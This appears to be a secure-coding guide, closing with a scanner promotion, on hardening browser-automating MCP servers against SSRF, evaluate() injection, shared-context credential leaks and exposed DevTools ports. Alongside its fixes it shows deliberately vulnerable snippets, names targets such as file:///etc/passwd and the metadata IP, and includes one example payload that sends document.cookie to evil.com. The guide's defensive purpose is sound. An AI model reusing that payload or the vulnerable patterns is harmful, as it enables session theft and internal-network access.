MCP server browser automation security

MCP server browser automation security — Puppeteer, Playwright, and headless browser risks

Browser-automating MCP servers — tools that drive Puppeteer, Playwright, or browser-use to navigate URLs, fill forms, extract content, or take screenshots — represent a rapidly growing category in the MCP ecosystem. They also have a larger attack surface than pure API-calling servers: the headless browser is a general-purpose computing environment, and any user-controlled input that reaches page.goto(), page.evaluate(), or page.fill() can be weaponized for SSRF, JavaScript injection, credential harvesting from browser storage, or Chrome DevTools Protocol escape. Each risk has a concrete mitigation.

Pattern 1: SSRF via page.goto() with user-controlled URLs

Puppeteer and Playwright's page.goto() navigates to any URL, including file:// paths (reading arbitrary local files), data: URIs (rendering attacker-controlled HTML), cloud metadata URLs (http://169.254.169.254/latest/meta-data/), and internal network services that are reachable from the host but not from the internet. If the MCP server accepts a URL from the user and passes it to page.goto() without validation, the user controls where the browser connects.

// WRONG: user-provided URL passed directly to page.goto()
async function scrapeUrl(userUrl) {
  const page = await browser.newPage();
  await page.goto(userUrl);    // attacker can navigate to file:///etc/passwd,
                               // http://169.254.169.254, http://internal.corp/admin
  return await page.content();
}

// RIGHT: URL scheme and hostname validation before navigation
import { URL } from 'node:url';

const ALLOWED_SCHEMES = new Set(['https:']);
const BLOCKED_HOSTNAME_PATTERNS = [
  /^169\.254\./,               // AWS/Azure IMDS
  /^10\./,                     // RFC1918
  /^172\.(1[6-9]|2[0-9]|3[01])\./,  // RFC1918
  /^192\.168\./,               // RFC1918
  /^127\./,                    // loopback
  /localhost/i,
  /\.internal$/i,
  /\.corp$/i,
  /\.local$/i,
];

function validateNavigationUrl(rawUrl) {
  let parsed;
  try {
    parsed = new URL(rawUrl);
  } catch {
    throw new Error('invalid URL');
  }
  if (!ALLOWED_SCHEMES.has(parsed.protocol)) {
    throw new Error(`scheme ${parsed.protocol} not allowed`);
  }
  if (BLOCKED_HOSTNAME_PATTERNS.some(re => re.test(parsed.hostname))) {
    throw new Error('navigation to internal addresses not allowed');
  }
  return parsed.href;
}

async function scrapeUrl(userUrl) {
  const safeUrl = validateNavigationUrl(userUrl);
  const context = await browser.newContext();
  const page = await context.newPage();
  try {
    await page.goto(safeUrl, { timeout: 10_000, waitUntil: 'domcontentloaded' });
    return await page.content();
  } finally {
    await context.close();   // destroy context so credentials don't persist
  }
}

Pattern 2: JavaScript injection via page.evaluate()

page.evaluate() executes JavaScript in the browser page context. If the script is assembled by string concatenation with user input, the user can inject arbitrary JavaScript that runs with the page's privileges — reading cookies, localStorage, form inputs, and making fetch calls to the page's origin.

// WRONG: string concatenation with user input in evaluate()
async function getElementText(page, selector) {
  // Attacker passes selector = "body; fetch('https://evil.com?c='+document.cookie)"
  return await page.evaluate(`document.querySelector('${selector}').innerText`);
}

// RIGHT: pass user data as a serializable argument, not string-interpolated code
async function getElementText(page, selector) {
  // The code string is a static literal; user data is a separate argument
  // page.evaluate() serializes the argument via structured clone — no injection
  return await page.evaluate((sel) => {
    const el = document.querySelector(sel);
    return el ? el.innerText : null;
  }, selector);   // selector is the argument, not part of the code
}

// Also right: use page.$eval() which has the same argument separation
return await page.$eval(selector, (el) => el.innerText);

Pattern 3: Credential theft via browser context reuse

Puppeteer and Playwright browser contexts maintain cookies, localStorage, sessionStorage, and cached credentials. Reusing a context between requests from different users (or between requests from the same user to different sites) can leak session tokens from one site or user to another. An attacker who can influence what the browser loads in a reused context may be able to read authentication cookies from a previous request.

// WRONG: single context reused across all requests
const sharedContext = await browser.newContext();

app.post('/browse', async (req, res) => {
  const page = await sharedContext.newPage(); // shares cookies/storage with all other pages!
  await page.goto(req.body.url);
  const html = await page.content();
  await page.close();
  res.json({ html });
});

// RIGHT: fresh context per request, destroyed immediately after
app.post('/browse', async (req, res) => {
  const context = await browser.newContext({
    // Disable all persistence
    storageState: undefined,
    // Restrict geolocation, camera, microphone permissions
    permissions: [],
  });
  const page = await context.newPage();
  try {
    const safeUrl = validateNavigationUrl(req.body.url);
    await page.goto(safeUrl, { timeout: 10_000 });
    const html = await page.content();
    res.json({ html });
  } finally {
    await context.close();   // all cookies, localStorage, cache — gone
  }
});

Pattern 4: Chrome DevTools Protocol exposure

When Chromium is launched with --remote-debugging-port, the Chrome DevTools Protocol (CDP) port is exposed. Any process that can connect to that port has full control over the browser — reading cookies, executing arbitrary JavaScript, capturing network traffic, and in some configurations accessing the filesystem via chrome.debugger. In containerized deployments, bind the CDP port to 127.0.0.1 only and never expose it via a service or NodePort.

// RIGHT: CDP bound to localhost, browser isolated in a fresh context per request
import { chromium } from 'playwright';

const browser = await chromium.launch({
  args: [
    '--disable-dev-shm-usage',    // prevent /dev/shm OOM in containers
    '--disable-gpu',
    '--no-first-run',
    '--no-default-browser-check',
    // '--no-sandbox' only if inside a container with seccomp; prefer sandboxed Chromium
  ],
  // CDP bound to localhost only — never expose remotely
  // Playwright manages this automatically; don't add --remote-debugging-port
});

// In a container environment, also apply a seccomp profile that blocks
// ptrace, clone(CLONE_NEWUSER), and other sandbox-escape syscalls

Browser-automating MCP servers have a higher risk profile than pure API servers because the browser is a general-purpose runtime executing third-party code (every web page navigated). SkillAudit checks for page.goto() calls with unsanitized user input, string-interpolated page.evaluate() calls, shared browser contexts, and exposed CDP ports. For a full review of your browser-automating MCP server, run a SkillAudit scan. Related: SSRF prevention, process sandboxing, indirect prompt injection.